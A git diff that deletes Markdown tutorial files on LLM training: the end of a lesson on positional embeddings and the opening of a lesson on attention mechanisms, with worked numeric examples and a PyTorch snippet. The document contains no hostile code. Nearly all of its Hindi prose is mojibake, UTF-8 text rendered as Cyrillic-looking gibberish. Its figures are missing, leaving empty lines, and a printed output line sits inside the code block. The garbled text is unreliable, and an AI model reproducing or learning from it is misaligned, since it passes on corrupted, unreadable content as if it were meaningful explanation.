рдЖрдпрд╛рдо:** рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХрд╛ рдЖрдпрд╛рдо рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИред -- **рдЬреЛрдбрд╝рдирд╛:** рдЗрдиреНрд╣реЗрдВ рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЯреЛрдХрди рдкрд╣рдЪрд╛рди рдХреЛ рдкреЛрдЬрд┐рд╢рдирд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рдмрд┐рдирд╛ рд╕рдордЧреНрд░ рдЖрдпрд╛рдо рдХреЛ рдмрдврд╝рд╛рдПред - -**рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:** - -рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдПрдХ рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╡реЗрдХреНрдЯрд░ `[0.5, -0.2, 0.1]` рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╡реЗрдХреНрдЯрд░ `[0.1, 0.3, -0.1]` рд╣реИред рдореЙрдбрд▓ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╕рдВрдпреБрдХреНрдд рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╣реЛрдЧрд╛: -```css -Combined Embedding = Token Embedding + Positional Embedding -= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)] -= [0.6, 0.1, 0.0] -``` -**рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЗ рд▓рд╛рдн:** - -- **рд╕рдВрджрд░реНрдн рдЬрд╛рдЧрд░реВрдХрддрд╛:** рдореЙрдбрд▓ рдЕрдкрдиреЗ рд╕реНрдерд╛рдиреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **рдЕрдиреБрдХреНрд░рдо рд╕рдордЭрдирд╛:** рдореЙрдбрд▓ рдХреЛ рд╡реНрдпрд╛рдХрд░рдг, рд╕рд┐рдВрдЯреИрдХреНрд╕, рдФрд░ рд╕рдВрджрд░реНрдн-рдирд┐рд░реНрднрд░ рдЕрд░реНрдереЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред - -## рдХреЛрдб рдЙрджрд╛рд╣рд░рдг - -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) рд╕реЗ рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ: -```python -# Use previous code... - -# Create dimensional emdeddings -""" -BPE uses a vocabulary of 50257 words -Let's supose we want to use 256 dimensions (instead of the millions used by LLMs) -""" - -vocab_size = 50257 -output_dim = 256 -token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim) - -## Generate the dataloader like before -max_length = 4 -dataloader = create_dataloader_v1( -raw_text, batch_size=8, max_length=max_length, -stride=max_length, shuffle=False -) -data_iter = iter(dataloader) -inputs, targets = next(data_iter) - -# Apply embeddings -token_embeddings = token_embedding_layer(inputs) -print(token_embeddings.shape) -torch.Size([8, 4, 256]) # 8 x 4 x 256 - -# Generate absolute embeddings -context_length = max_length -pos_embedding_layer = torch.nn.Embedding(context_length, output_dim) - -pos_embeddings = pos_embedding_layer(torch.arange(max_length)) - -input_embeddings = token_embeddings + pos_embeddings -print(input_embeddings.shape) # torch.Size([8, 4, 256]) -``` -## рд╕рдВрджрд░реНрдн - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md deleted file mode 100644 index 1e95abf61..000000000 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ /dev/null @@ -1,415 +0,0 @@ -# 4. рдзреНрдпрд╛рди рддрдВрддреНрд░ - -## рдзреНрдпрд╛рди рддрдВрддреНрд░ рдФрд░ рдЖрддреНрдо-рдзреНрдпрд╛рди рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ - -рдзреНрдпрд╛рди рддрдВрддреНрд░ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ **рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рднрд╛рдЧ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╕рдордп рдЗрдирдкреБрдЯ рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рднрд╛рдЧреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рд╡реЗ рд╡рд┐рднрд┐рдиреНрди рдЗрдирдкреБрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╡рдЬрди рд╕реМрдВрдкрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдореЙрдбрд▓ рдпрд╣ рддрдп рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓рддреА рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рдЗрдирдкреБрдЯ рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИрдВред рдпрд╣ рдорд╢реАрди рдЕрдиреБрд╡рд╛рдж рдЬреИрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдЬрд╣рд╛рдВ рдкреВрд░реЗ рд╡рд╛рдХреНрдп рдХреЗ рд╕рдВрджрд░реНрдн рдХреЛ рд╕рдордЭрдирд╛ рд╕рдЯреАрдХ рдЕрдиреБрд╡рд╛рдж рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред - -> [!TIP] -> рдЗрд╕ рдЪреМрдереЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдХреБрдЫ рдзреНрдпрд╛рди рддрдВрддреНрд░ рд▓рд╛рдЧреВ рдХрд░реЗрдВ**ред рдпреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ **рджреЛрд╣рд░рд╛рдП рдЧрдП рдкрд░рддреЗрдВ** рд╣реЛрдВрдЧреА рдЬреЛ **рд╢рдмреНрдж рдХреЗ рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдЙрд╕рдХреЗ рдкрдбрд╝реЛрд╕рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдмрдВрдз рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВрдЧреА рдЬреЛ LLM рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди рд╡рд╛рдХреНрдп рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**ред\ -> рдЗрд╕рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реА рдкрд░рддреЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред - -### рдзреНрдпрд╛рди рддрдВрддреНрд░ рдХреЛ рд╕рдордЭрдирд╛ - -рднрд╛рд╖рд╛ рдЕрдиреБрд╡рд╛рдж рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдЕрдиреБрдХреНрд░рдо-рд╕реЗ-рдЕрдиреБрдХреНрд░рдо рдореЙрдбрд▓ рдореЗрдВ, рдореЙрдбрд▓ рдПрдХ рдЗрдирдкреБрдЯ рдЕрдиреБрдХреНрд░рдо рдХреЛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдЖрдХрд╛рд░ рдХреЗ рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд▓рдВрдмреЗ рд╡рд╛рдХреНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдирд┐рд╢реНрдЪрд┐рдд рдЖрдХрд╛рд░ рдХрд╛ рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред рдзреНрдпрд╛рди рддрдВрддреНрд░ рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдореЙрдбрд▓ рдХреЛ рдкреНрд░рддреНрдпреЗрдХ рдЖрдЙрдЯрдкреБрдЯ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╕рдордп рд╕рднреА рдЗрдирдкреБрдЯ рдЯреЛрдХрди рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред - -#### рдЙрджрд╛рд╣рд░рдг: рдорд╢реАрди рдЕрдиреБрд╡рд╛рдж - -рдЬрд░реНрдорди рд╡рд╛рдХреНрдп "Kannst du mir helfen diesen Satz zu ├╝bersetzen" рдХрд╛ рдЕрдВрдЧреНрд░реЗрдЬреА рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рд╢рдмреНрдж-рджреНрд╡рд╛рд░рд╛-рд╢рдмреНрдж рдЕрдиреБрд╡рд╛рдж рдПрдХ рд╡реНрдпрд╛рдХрд░рдгрд┐рдХ рд░реВрдк рд╕реЗ рд╕рд╣реА рдЕрдВрдЧреНрд░реЗрдЬреА рд╡рд╛рдХреНрдп рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рднрд╛рд╖рд╛рдУрдВ рдХреЗ рдмреАрдЪ рд╡реНрдпрд╛рдХрд░рдгрд┐рдХ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВред рдПрдХ рдзреНрдпрд╛рди рддрдВрддреНрд░ рдореЙрдбрд▓ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рд╡рд╛рдХреНрдп рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╕рдордп рдЗрдирдкреБрдЯ рд╡рд╛рдХреНрдп рдХреЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рднрд╛рдЧреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рдФрд░ рд╕реБрд╕рдВрдЧрдд рдЕрдиреБрд╡рд╛рдж рд╣реЛрддрд╛ рд╣реИред - -### рдЖрддреНрдо-рдзреНрдпрд╛рди рдХрд╛ рдкрд░рд┐рдЪрдп - -рдЖрддреНрдо-рдзреНрдпрд╛рди, рдпрд╛ рдЖрдВрддрд░рд┐рдХ-рдзреНрдпрд╛рди, рдПрдХ рддрдВрддреНрд░ рд╣реИ рдЬрд╣рд╛рдБ рдзреНрдпрд╛рди рдПрдХрд▓ рдЕрдиреБрдХреНрд░рдо рдХреЗ рднреАрддрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрд╕ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рд╕рднреА рдЕрдиреНрдп рдЯреЛрдХрдиреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдореЙрдбрд▓ рдХреЛ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдмреАрдЪ рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓рддреА рд╣реИ, рдЪрд╛рд╣реЗ рдЙрдирдХреА рджреВрд░реА рдХрд┐рддрдиреА рднреА рд╣реЛред - -#### рдкреНрд░рдореБрдЦ рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ - -- **рдЯреЛрдХрди**: рдЗрдирдкреБрдЯ рдЕрдиреБрдХреНрд░рдо рдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рддрддреНрд╡ (рдЬреИрд╕реЗ, рд╡рд╛рдХреНрдп рдореЗрдВ рд╢рдмреНрдж)ред -- **рдПрдореНрдмреЗрдбрд┐рдВрдЧ**: рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╡реЗрдХреНрдЯрд░ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡, рдЬреЛ рдЕрд░реНрде рд╕рдВрдмрдВрдзреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддреЗ рд╣реИрдВред -- **рдзреНрдпрд╛рди рд╡рдЬрди**: рдорд╛рди рдЬреЛ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдЕрдиреНрдп рдЯреЛрдХрдиреЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрд┐рддрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред - -### рдзреНрдпрд╛рди рд╡рдЬрди рдХреА рдЧрдгрдирд╛: рдПрдХ рдЪрд░рдг-рджрд░-рдЪрд░рдг рдЙрджрд╛рд╣рд░рдг - -рдЖрдЗрдП рд╡рд╛рдХреНрдп **"Hello shiny sun!"** рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХрд╛ 3-рдЖрдпрд╛рдореА рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░реЗрдВ: - -- **Hello**: `[0.34, 0.22, 0.54]` -- **shiny**: `[0.53, 0.34, 0.98]` -- **sun**: `[0.29, 0.54, 0.93]` - -рд╣рдорд╛рд░рд╛ рд▓рдХреНрд╖реНрдп рдЖрддреНрдо-рдзреНрдпрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **"shiny"** рд╢рдмреНрдж рдХреЗ рд▓рд┐рдП **рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░** рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛ рд╣реИред - -#### рдЪрд░рдг 1: рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ - -> [!TIP] -> рдмрд╕ рдкреНрд░рддреНрдпреЗрдХ рдЖрдпрд╛рдо рдорд╛рди рдХреЛ рдХреНрд╡реЗрд░реА рдХреЗ рд╕рд╛рде рд╕рдВрдмрдВрдзрд┐рдд рдЯреЛрдХрди рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдЖрдпрд╛рдо рдорд╛рди рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдЬреЛрдбрд╝реЗрдВред рдЖрдкрдХреЛ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдЬреЛрдбрд╝реА рдХреЗ рд▓рд┐рдП 1 рдорд╛рди рдорд┐рд▓рддрд╛ рд╣реИред - -рд╡рд╛рдХреНрдп рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХреЗ рд▓рд┐рдП, "shiny" рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ **рдзреНрдпрд╛рди рд╕реНрдХреЛрд░** рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ, рдЙрдирдХреЗ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХрд╛ рдбреЙрдЯ рдЙрддреНрдкрд╛рдж рдирд┐рдХрд╛рд▓рдХрд░ред - -**"Hello" рдФрд░ "shiny" рдХреЗ рдмреАрдЪ рдзреНрдпрд╛рди рд╕реНрдХреЛрд░** - -
- -**"shiny" рдФрд░ "shiny" рдХреЗ рдмреАрдЪ рдзреНрдпрд╛рди рд╕реНрдХреЛрд░** - -
- -**"sun" рдФрд░ "shiny" рдХреЗ рдмреАрдЪ рдзреНрдпрд╛рди рд╕реНрдХреЛрд░** - -
- -#### рдЪрд░рдг 2: рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдХрд░реЗрдВ рддрд╛рдХрд┐ рдзреНрдпрд╛рди рд╡рдЬрди рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗ - -> [!TIP] -> рдЧрдгрд┐рддреАрдп рд╢рд░реНрддреЛрдВ рдореЗрдВ рдЦреЛ рди рдЬрд╛рдПрдВ, рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд▓рдХреНрд╖реНрдп рд╕рд░рд▓ рд╣реИ, рд╕рднреА рд╡рдЬрди рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдХрд░реЗрдВ рддрд╛рдХрд┐ **рд╡реЗ рдХреБрд▓ 1 рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ**ред\ -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рд╕реЙрдлреНрдЯрдореИрдХреНрд╕** рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЧреБрдгрдирд╛рддреНрдордХ рднрд╛рдЧ рдХреЗ рдХрд╛рд░рдг рднрд┐рдиреНрдирддрд╛рдУрдВ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЙрдкрдпреЛрдЧреА рдорд╛рдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред - -рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреЛ рдзреНрдпрд╛рди рд╡рдЬрди рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ рдлрд╝рдВрдХреНрд╢рди** рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдЬреЛ 1 рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИред - -
- -рдШрд╛рддрд╛рдВрдХ рдХреА рдЧрдгрдирд╛: - -
- -рдпреЛрдЧ рдХреА рдЧрдгрдирд╛: - -
- -рдзреНрдпрд╛рди рд╡рдЬрди рдХреА рдЧрдгрдирд╛: - -
- -#### рдЪрд░рдг 3: рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ - -> [!TIP] -> рдмрд╕ рдкреНрд░рддреНрдпреЗрдХ рдзреНрдпрд╛рди рд╡рдЬрди рдХреЛ рд╕рдВрдмрдВрдзрд┐рдд рдЯреЛрдХрди рдЖрдпрд╛рдореЛрдВ рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ рд╕рднреА рдЖрдпрд╛рдореЛрдВ рдХреЛ рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ рдХреЗрд╡рд▓ 1 рд╡реЗрдХреНрдЯрд░ (рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░) рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗред - -**рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░** рдХреЛ рд╕рднреА рд╢рдмреНрджреЛрдВ рдХреЗ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЗ рднрд╛рд░рд┐рдд рдпреЛрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ, рдзреНрдпрд╛рди рд╡рдЬрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред - -
- -рдкреНрд░рддреНрдпреЗрдХ рдШрдЯрдХ рдХреА рдЧрдгрдирд╛: - -- **"Hello" рдХрд╛ рднрд╛рд░рд┐рдд рдПрдореНрдмреЗрдбрд┐рдВрдЧ**: - -
- -- **"shiny" рдХрд╛ рднрд╛рд░рд┐рдд рдПрдореНрдмреЗрдбрд┐рдВрдЧ**: - -
- -- **"sun" рдХрд╛ рднрд╛рд░рд┐рдд рдПрдореНрдмреЗрдбрд┐рдВрдЧ**: - -
- -рднрд╛рд░рд┐рдд рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХрд╛ рдпреЛрдЧ: - -`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]` - -**рдпрд╣ рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░ "shiny" рд╢рдмреНрдж рдХреЗ рд▓рд┐рдП рд╕рдореГрджреНрдз рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рдХреНрдп рдореЗрдВ рд╕рднреА рд╢рдмреНрджреЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред** - -### рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ - -1. **рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ**: рд▓рдХреНрд╖рд┐рдд рд╢рдмреНрдж рдХреЗ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдФрд░ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рд╕рднреА рд╢рдмреНрджреЛрдВ рдХреЗ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЗ рдмреАрдЪ рдбреЙрдЯ рдЙрддреНрдкрд╛рдж рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -2. **рдзреНрдпрд╛рди рд╡рдЬрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреЛрд░ рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдХрд░реЗрдВ**: рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдкрд░ рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ рдлрд╝рдВрдХреНрд╢рди рд▓рд╛рдЧреВ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡рдЬрди рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗ рдЬреЛ 1 рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИред -3. **рд╕рдВрджрд░реНрдн рд╡реЗрдХреНрдЯрд░ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ**: рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХреЗ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЛ рдЙрд╕рдХреЗ рдзреНрдпрд╛рди рд╡рдЬрди рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдЬреЛрдбрд╝реЗрдВред - -## рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рд╡рдЬрди рдХреЗ рд╕рд╛рде рдЖрддреНрдо-рдзреНрдпрд╛рди - -рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рдЖрддреНрдо-рдзреНрдпрд╛рди рддрдВрддреНрд░ **рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рд╡рдЬрди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреНрд╡реЗрд░реА, рдХреБрдВрдЬреА рдФрд░ рдорд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╕реАрдЦрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рдореЗрдВ рддреАрди рд╡рдЬрди рдореИрдЯреНрд░рд┐рдХреНрд╕ рдкреЗрд╢ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: - -
- -рдХреНрд╡реЗрд░реА рд╡рд╣реА рдбреЗрдЯрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╣рд▓реЗ рдХреА рддрд░рд╣ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдХреБрдВрдЬреА рдФрд░ рдорд╛рди рдореИрдЯреНрд░рд┐рдХреНрд╕ рдмрд╕ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ-рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдореИрдЯреНрд░рд┐рдХреНрд╕ рд╣реИрдВред - -#### рдЪрд░рдг 1: рдХреНрд╡реЗрд░реА, рдХреБрдВрдЬреА рдФрд░ рдорд╛рдиреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ - -рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХрд╛ рдЕрдкрдирд╛ рдХреНрд╡реЗрд░реА, рдХреБрдВрдЬреА рдФрд░ рдорд╛рди рдореИрдЯреНрд░рд┐рдХреНрд╕ рд╣реЛрдЧрд╛, рдЗрд╕рдХреЗ 